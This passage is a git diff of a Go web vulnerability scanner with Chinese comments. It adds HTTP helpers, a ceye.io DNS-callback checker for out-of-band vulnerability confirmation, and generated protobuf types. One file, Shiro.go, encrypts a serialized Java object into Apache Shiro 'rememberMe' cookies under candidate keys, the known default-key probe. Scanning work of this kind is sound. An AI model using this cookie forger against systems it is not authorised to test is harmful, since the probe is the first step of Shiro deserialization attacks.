+// randomLowercase 生成指定长度的小写字母随机字符串
+func randomLowercase(n int) string {
+ const lowercase = "abcdefghijklmnopqrstuvwxyz"
+ return RandomStr(randSource, lowercase, n)
+}
+
+// randomUppercase 生成指定长度的大写字母随机字符串
+func randomUppercase(n int) string {
+ const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ return RandomStr(randSource, uppercase, n)
+}
+
+// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
+func randomString(n int) string {
+ const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+ return RandomStr(randSource, charset, n)
+}
+
+// reverseCheck 检查 DNS 记录是否存在
+func reverseCheck(r *Reverse, timeout int64) bool {
+ // 检查必要条件
+ if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
+ return false
+ }
+
+ // 等待指定时间
+ time.Sleep(time.Second * time.Duration(timeout))
+
+ // 提取子域名
+ sub := strings.Split(r.Domain, ".")[0]
+
+ // 构造 API 请求 TargetURL
+ apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
+ ceyeApi, sub)
+
+ // 创建并发送请求
+ req, _ := http.NewRequest("GET", apiURL, nil)
+ resp, err := DoRequest(req, false)
+ if err != nil {
+ return false
+ }
+
+ // 检查响应内容
+ hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
+ isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
+
+ if hasData && isOK {
+ fmt.Println(apiURL)
+ return true
+ }
+ return false
+}
+
+// RandomStr 生成指定长度的随机字符串
+func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
+ const (
+ // 用 6 位比特表示一个字母索引
+ letterIdxBits = 6
+ // 生成掩码:000111111
+ letterIdxMask = 1<= 0; {
+ // 当可用的随机位用完时,重新获取随机数
+ if remain == 0 {
+ cache, remain = randSource.Int63(), letterIdxMax
+ }
+
+ // 获取字符集中的随机索引
+ if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
+ randBytes[i] = letterBytes[idx]
+ i--
+ }
+
+ // 右移已使用的位,更新计数器
+ cache >>= letterIdxBits
+ remain--
+ }
+
+ return string(randBytes)
+}
+
+// DoRequest 执行 HTTP 请求
+func DoRequest(req *http.Request, redirect bool) (*Response, error) {
+ // 处理请求头
+ if req.Body != nil && req.Body != http.NoBody {
+ // 设置 Content-Length
+ req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
+
+ // 如果未指定 Content-Type,设置默认值
+ if req.Header.Get("Content-Type") == "" {
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ }
+ }
+
+ // 执行请求
+ var (
+ oResp *http.Response
+ err error
+ )
+
+ if redirect {
+ oResp, err = Client.Do(req)
+ } else {
+ oResp, err = ClientNoRedirect.Do(req)
+ }
+
+ if err != nil {
+ return nil, fmt.Errorf("请求执行失败: %w", err)
+ }
+ defer oResp.Body.Close()
+
+ // 解析响应
+ resp, err := ParseResponse(oResp)
+ if err != nil {
+ common.LogError("响应解析失败: " + err.Error())
+ }
+
+ return resp, err
+}
+
+// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型
+func ParseUrl(u *url.URL) *UrlType {
+ return &UrlType{
+ Scheme: u.Scheme,
+ Domain: u.Hostname(),
+ Host: u.Host,
+ Port: u.Port(),
+ Path: u.EscapedPath(),
+ Query: u.RawQuery,
+ Fragment: u.Fragment,
+ }
+}
+
+// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
+func ParseRequest(oReq *http.Request) (*Request, error) {
+ req := &Request{
+ Method: oReq.Method,
+ Url: ParseUrl(oReq.URL),
+ Headers: make(map[string]string),
+ ContentType: oReq.Header.Get("Content-Type"),
+ }
+
+ // 复制请求头
+ for k := range oReq.Header {
+ req.Headers[k] = oReq.Header.Get(k)
+ }
+
+ // 处理请求体
+ if oReq.Body != nil && oReq.Body != http.NoBody {
+ data, err := io.ReadAll(oReq.Body)
+ if err != nil {
+ return nil, fmt.Errorf("读取请求体失败: %w", err)
+ }
+ req.Body = data
+ // 重新设置请求体,允许后续重复读取
+ oReq.Body = io.NopCloser(bytes.NewBuffer(data))
+ }
+
+ return req, nil
+}
+
+// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
+func ParseResponse(oResp *http.Response) (*Response, error) {
+ resp := Response{
+ Status: int32(oResp.StatusCode),
+ Url: ParseUrl(oResp.Request.URL),
+ Headers: make(map[string]string),
+ ContentType: oResp.Header.Get("Content-Type"),
+ }
+
+ // 复制响应头,合并多值头部为分号分隔的字符串
+ for k := range oResp.Header {
+ resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
+ }
+
+ // 读取并解析响应体
+ body, err := getRespBody(oResp)
+ if err != nil {
+ return nil, fmt.Errorf("处理响应体失败: %w", err)
+ }
+ resp.Body = body
+
+ return &resp, nil
+}
+
+// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
+func getRespBody(oResp *http.Response) ([]byte, error) {
+ // 读取原始响应体
+ body, err := io.ReadAll(oResp.Body)
+ if err != nil && err != io.EOF && len(body) == 0 {
+ return nil, err
+ }
+
+ // 处理 gzip 压缩
+ if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
+ reader, err := gzip.NewReader(bytes.NewReader(body))
+ if err != nil {
+ return body, nil // 如果解压失败,返回原始数据
+ }
+ defer reader.Close()
+
+ decompressed, err := io.ReadAll(reader)
+ if err != nil && err != io.EOF && len(decompressed) == 0 {
+ return nil, err
+ }
+ if len(decompressed) == 0 && len(body) != 0 {
+ return body, nil
+ }
+ return decompressed, nil
+ }
+
+ return body, nil
+}
diff --git a/webscan/lib/Shiro.go b/webscan/lib/Shiro.go
new file mode 100644
index 0000000..ce24978
--- /dev/null
+++ b/webscan/lib/Shiro.go
@@ -0,0 +1,102 @@
+package lib
+
+import (
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "encoding/base64"
+ "io"
+
+ uuid "github.com/satori/go.uuid"
+)
+
+var (
+ // CheckContent 是经过base64编码的Shiro序列化对象
+ CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
+ // Content 是解码后的原始内容
+ Content, _ = base64.StdEncoding.DecodeString(CheckContent)
+)
+
+// Padding 对明文进行PKCS7填充
+func Padding(plainText []byte, blockSize int) []byte {
+ // 计算需要填充的长度
+ paddingLength := blockSize - len(plainText)%blockSize
+
+ // 使用paddingLength个paddingLength值进行填充
+ paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength)
+
+ return append(plainText, paddingText...)
+}
+
+// GetShrioCookie 获取加密后的Shiro Cookie值
+func GetShrioCookie(key, mode string) string {
+ if mode == "gcm" {
+ return AES_GCM_Encrypt(key)
+ }
+ return AES_CBC_Encrypt(key)
+}
+
+// AES_CBC_Encrypt 使用AES-CBC模式加密
+func AES_CBC_Encrypt(shirokey string) string {
+ // 解码密钥
+ key, err := base64.StdEncoding.DecodeString(shirokey)
+ if err != nil {
+ return ""
+ }
+
+ // 创建AES加密器
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return ""
+ }
+
+ // PKCS7填充
+ paddedContent := Padding(Content, block.BlockSize())
+
+ // 生成随机IV
+ iv := uuid.NewV4().Bytes()
+
+ // 创建CBC加密器
+ blockMode := cipher.NewCBCEncrypter(block, iv)
+
+ // 加密数据
+ cipherText := make([]byte, len(paddedContent))
+ blockMode.CryptBlocks(cipherText, paddedContent)
+
+ // 拼接IV和密文并base64编码
+ return base64.StdEncoding.EncodeToString(append(iv, cipherText...))
+}
+
+// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+)
+func AES_GCM_Encrypt(shirokey string) string {
+ // 解码密钥
+ key, err := base64.StdEncoding.DecodeString(shirokey)
+ if err != nil {
+ return ""
+ }
+
+ // 创建AES加密器
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return ""
+ }
+
+ // 生成16字节随机数作为nonce
+ nonce := make([]byte, 16)
+ if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
+ return ""
+ }
+
+ // 创建GCM加密器
+ aesgcm, err := cipher.NewGCMWithNonceSize(block, 16)
+ if err != nil {
+ return ""
+ }
+
+ // 加密数据
+ ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
+
+ // 拼接nonce和密文并base64编码
+ return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
+}
diff --git a/webscan/lib/http.pb.go b/webscan/lib/http.pb.go
new file mode 100644
index 0000000..8265534
--- /dev/null
+++ b/webscan/lib/http.pb.go
@@ -0,0 +1,520 @@
+//go:generate protoc --go_out=. http.proto
+
+// Code generated by protoc-gen-go. DO NOT EDIT.
+// versions:
+// protoc-gen-go v1.26.0
+// protoc v3.20.3
+// source: http.proto
+
+package lib
+
+import (
+ protoreflect "google.golang.org/protobuf/reflect/protoreflect"
+ protoimpl "google.golang.org/protobuf/runtime/protoimpl"
+ reflect "reflect"
+ sync "sync"
+)
+
+const (
+ // Verify that this generated code is sufficiently up-to-date.
+ _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
+ // Verify that runtime/protoimpl is sufficiently up-to-date.
+ _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
+)
+
+type UrlType struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
+ Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+ Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
+ Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
+ Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
+ Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
+ Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
+}
+
+func (x *UrlType) Reset() {
+ *x = UrlType{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[0]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *UrlType) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*UrlType) ProtoMessage() {}
+
+func (x *UrlType) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[0]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
+func (*UrlType) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{0}
+}
+
+func (x *UrlType) GetScheme() string {
+ if x != nil {
+ return x.Scheme
+ }
+ return ""
+}
+
+func (x *UrlType) GetDomain() string {
+ if x != nil {
+ return x.Domain
+ }
+ return ""
+}
+
+func (x *UrlType) GetHost() string {
+ if x != nil {
+ return x.Host
+ }
+ return ""
+}
+
+func (x *UrlType) GetPort() string {
+ if x != nil {
+ return x.Port
+ }
+ return ""
+}
+
+func (x *UrlType) GetPath() string {
+ if x != nil {
+ return x.Path
+ }
+ return ""
+}
+
+func (x *UrlType) GetQuery() string {
+ if x != nil {
+ return x.Query
+ }
+ return ""
+}
+
+func (x *UrlType) GetFragment() string {
+ if x != nil {
+ return x.Fragment
+ }
+ return ""
+}
+
+type Request struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
+ Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+ ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+ Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
+}
+
+func (x *Request) Reset() {
+ *x = Request{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[1]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Request) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Request) ProtoMessage() {}
+
+func (x *Request) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[1]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Request.ProtoReflect.Descriptor instead.
+func (*Request) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{1}
+}
+
+func (x *Request) GetUrl() *UrlType {
+ if x != nil {
+ return x.Url
+ }
+ return nil
+}
+
+func (x *Request) GetMethod() string {
+ if x != nil {
+ return x.Method
+ }
+ return ""
+}
+
+func (x *Request) GetHeaders() map[string]string {
+ if x != nil {
+ return x.Headers
+ }
+ return nil
+}
+
+func (x *Request) GetContentType() string {
+ if x != nil {
+ return x.ContentType
+ }
+ return ""
+}
+
+func (x *Request) GetBody() []byte {
+ if x != nil {
+ return x.Body
+ }
+ return nil
+}
+
+type Response struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
+ Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+ ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+ Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
+ Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
+}
+
+func (x *Response) Reset() {
+ *x = Response{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[2]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Response) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Response) ProtoMessage() {}
+
+func (x *Response) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[2]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Response.ProtoReflect.Descriptor instead.
+func (*Response) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{2}
+}
+
+func (x *Response) GetUrl() *UrlType {
+ if x != nil {
+ return x.Url
+ }
+ return nil
+}
+
+func (x *Response) GetStatus() int32 {
+ if x != nil {
+ return x.Status
+ }
+ return 0
+}
+
+func (x *Response) GetHeaders() map[string]string {
+ if x != nil {
+ return x.Headers
+ }
+ return nil
+}
+
+func (x *Response) GetContentType() string {
+ if x != nil {
+ return x.ContentType
+ }
+ return ""
+}
+
+func (x *Response) GetBody() []byte {
+ if x != nil {
+ return x.Body
+ }
+ return nil
+}
+
+func (x *Response) GetDuration() float64 {
+ if x != nil {
+ return x.Duration
+ }
+ return 0
+}
+
+type Reverse struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+ Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
+ IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
+}
+
+func (x *Reverse) Reset() {
+ *x = Reverse{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[3]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Reverse) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Reverse) ProtoMessage() {}
+
+func (x *Reverse) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[3]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
+func (*Reverse) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{3}
+}
+
+func (x *Reverse) GetUrl() string {
+ if x != nil {
+ return x.Url
+ }
+ return ""
+}
+
+func (x *Reverse) GetDomain() string {
+ if x != nil {
+ return x.Domain
+ }
+ return ""
+}
+
+func (x *Reverse) GetIp() string {
+ if x != nil {
+ return x.Ip
+ }
+ return ""
+}
+
+func (x *Reverse) GetIsDomainNameServer() bool {
+ if x != nil {
+ return x.IsDomainNameServer
+ }
+ return false
+}
+
+var File_http_proto protoreflect.FileDescriptor
+
+var file_http_proto_rawDesc = []byte{
+ 0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
+ 0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
+ 0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
+ 0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
+ 0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
+ 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
+ 0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
+ 0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
+ 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
+ 0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
+ 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
+ 0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
+ 0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
+ 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
+ 0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
+ 0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
+ 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
+ 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
+ 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
+ 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
+ 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
+ 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
+ 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
+ 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
+ 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
+ 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
+ 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
+ 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
+ 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
+ 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
+ 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
+ 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
+ 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
+ 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
+ 0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
+ 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
+ 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
+ 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
+ 0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
+ 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
+ 0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
+ 0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+}
+
+var (
+ file_http_proto_rawDescOnce sync.Once
+ file_http_proto_rawDescData = file_http_proto_rawDesc
+)
+
+func file_http_proto_rawDescGZIP() []byte {
+ file_http_proto_rawDescOnce.Do(func() {
+ file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
+ })
+ return file_http_proto_rawDescData
+}
+
+var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
+var file_http_proto_goTypes = []interface{}{
+ (*UrlType)(nil), // 0: lib.UrlType
+ (*Request)(nil), // 1: lib.Request
+ (*Response)(nil), // 2: lib.Response
+ (*Reverse)(nil), // 3: lib.Reverse
+ nil, // 4: lib.Request.HeadersEntry
+ nil, // 5: lib.Response.HeadersEntry
+}
+var file_http_proto_depIdxs = []int32{
+ 0, // 0: lib.Request.url:type_name -> lib.UrlType
+ 4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
+ 0, // 2: lib.Response.url:type_name -> lib.UrlType
+ 5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
+ 4, // [4:4] is the sub-list for method output_type
+ 4, // [4:4] is the sub-list for method input_type
+ 4, // [4:4] is the sub-list for extension type_name
+ 4, // [4:4] is the sub-list for extension extendee
+ 0, // [0:4] is the sub-list for field type_name
+}
+
+func init() { file_http_proto_init() }
+func file_http_proto_init() {
+ if File_http_proto != nil {
+ return
+ }
+ if !protoimpl.UnsafeEnabled {
+ file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*UrlType); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Request); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Response); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Reverse); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ }
+ type x struct{}
+ out := protoimpl.TypeBuilder{
+ File: protoimpl.DescBuilder{
